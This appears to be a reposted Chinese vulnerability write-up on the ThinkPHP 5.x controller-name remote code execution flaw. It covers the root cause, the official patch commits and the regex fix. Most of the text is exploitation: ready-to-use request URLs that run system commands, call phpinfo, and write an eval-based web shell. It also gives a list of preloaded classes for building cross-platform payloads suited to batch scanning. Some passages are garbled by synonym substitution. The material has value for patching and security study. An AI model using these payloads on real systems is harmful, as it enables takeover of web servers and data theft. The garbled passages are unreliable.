thinkphp 5.x版本代码执行可直接提权getshell

ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。

影响范围

5.x < 5.1.31, <= 5.0.23

漏洞分析

Thinkphp v5.0.x补丁地址: https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f

Thinkphp v5.1.x补丁地址: https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815

thinkphp 5.x版本代码执行可直接提权getshell_第1张图片
image.png

关于这次发明的oday毛病,我们来看下官方之前更新的代码文件是怎么样的,更新的步伐文件路径是library文件夹下的think目次里的app.php,关键代码如下图:


thinkphp 5.x版本代码执行可直接提权getshell_第2张图片
image.png

毛病产生的缘故原由就在于这个控制器这里,整个thinkphp框架里的功效对控制器没有进行严格的过滤与查找,使打击者可以伪造恶意参数举行逼迫插入,最基础的缘故原由就是正则的表达式写的欠好,导致可以绕过。
而我复现用的5.0.11版本是没有此正则的,


thinkphp 5.x版本代码执行可直接提权getshell_第3张图片
image.png

在修复之前程序未对控制器进行过滤,在controller获取控制器后,直接进行赋值,但是在修复之前程序并未对控制器进行严格的过滤,导致可以利用斜杠等特别标记来调用任意类方法进行长途代码注入。

thinkphp 5.x版本代码执行可直接提权getshell_第4张图片
image.png

这是5.0.11版本实例化一个个controller控制器,
再另一个版本中
thinkphp 5.x版本代码执行可直接提权getshell_第5张图片
image.png

使用了 $this->app->controller方法来实例化控制器,然后调用实例中的方法。
thinkphp 5.x版本代码执行可直接提权getshell_第6张图片
image.png

thinkphp 5.x版本代码执行可直接提权getshell_第7张图片
image.png

路由url从Request::path()中获取,由于var_pathinfo的默认配置为s,我们可利用$_GET['s']来传递路由信息,也可利用pathinfo来传递,但测试时windows环境下会将$_SERVER['pathinfo']中的\替换为/。结合前面分析可得初步利用代码如下:index.php?s=index/\namespace\class/method ,这将会实例化\namespace\class类并执行method方法。

漏洞利用

docker漏洞环境源码:https://github.com/vulnspy/thinkphp-5.1.29
本地环境:thinkphp5.0.15+php5.6n+ apache2.0
http://www.thinkphp.cn/donate/download/id/1125.html

1.利用system函数远程命令执行

http://127.0.0.1/thinkphp5/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

thinkphp 5.x版本代码执行可直接提权getshell_第8张图片
image.png

http://127.0.0.1/thinkphp5/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls -l
可以直接查询到网站当前根目次的全部文件
2.通过phpinfo函数写出phpinfo()的信息
http://127.0.0.1/thinkphp5/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

thinkphp 5.x版本代码执行可直接提权getshell_第9张图片
image.png

3.写入shell提权
http://127.0.0.1/thinkphp5/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=

image.png
image.png

或者
http://127.0.0.1/thinkphp5/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%3C?php%20@eval($_GET[%22code%22])?%3E%3Eshell.php

漏洞修复

5.1版本

thinkphp/library/think/route/dispatch/Url.php  类的parseUrl方法,解析控制器后加上   添加

 if ($controller && !preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
     throw new HttpException(404, 'controller not exists:' . $controller);
 }

![image](http://upload-images.jianshu.io/upload_images/9113981-e5cf93d6a51ce2da?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
thinkphp 5.x版本代码执行可直接提权getshell_第10张图片
image.png

5.0版本

thinkphp/library/think/App.php  类的module方法的获取控制器的代码后面加上

if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
    throw new HttpException(404, 'controller not exists:' . $controller);

}
thinkphp 5.x版本代码执行可直接提权getshell_第11张图片
image

兼容多平台的payload
由于Windows的原因,所以有一些payload在windows的主机上是不可以利用的。
一下是网上找的一师傅搜集的payload
那么哪些payload是可以兼容多个平台呢?

由于windows自动加载类加载不到想要的类文件,所以能够下手的就是在框架加载的时候已经加载的类。

5.1是下面这些:

think\Loader 
Composer\Autoload\ComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561
think\Error 
think\Container
think\App 
think\Env 
think\Config 
think\Hook 
think\Facade
think\facade\Env
env
think\Db
think\Lang 
think\Request 
think\Log 
think\log\driver\File
think\facade\Route
route
think\Route 
think\route\Rule
think\route\RuleGroup
think\route\Domain
think\route\RuleItem
think\route\RuleName
think\route\Dispatch
think\route\dispatch\Url
think\route\dispatch\Module
think\Middleware
think\Cookie
think\View
think\view\driver\Think
think\Template
think\template\driver\File
think\Session
think\Debug
think\Cache
think\cache\Driver
think\cache\driver\File

5.0 的有:

think\Route
think\Config
think\Error
think\App
think\Request
think\Hook
think\Env
think\Lang
think\Log
think\Loader

两个版本公有的是:

think\Route 
think\Loader 
think\Error 
think\App 
think\Env 
think\Config 
think\Hook 
think\Lang 
think\Request 
think\Log

本想找出两个版本共有的利用类和方法,但由于类文件大多被重写了,所以没耐住性子一一去找(菜)

所以,payload为上述类的利用方法,是可以兼容windows和linux多个平台的,兼容多个平台有什么用呢?插件批量可以减少误判等,一条payload通用,一把梭多好。

比如:

5.1.x php版本>5.5

http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert

http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=

5.0.x php版本>=5.4

http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

你可能感兴趣的:(thinkphp 5.x版本代码执行可直接提权getshell)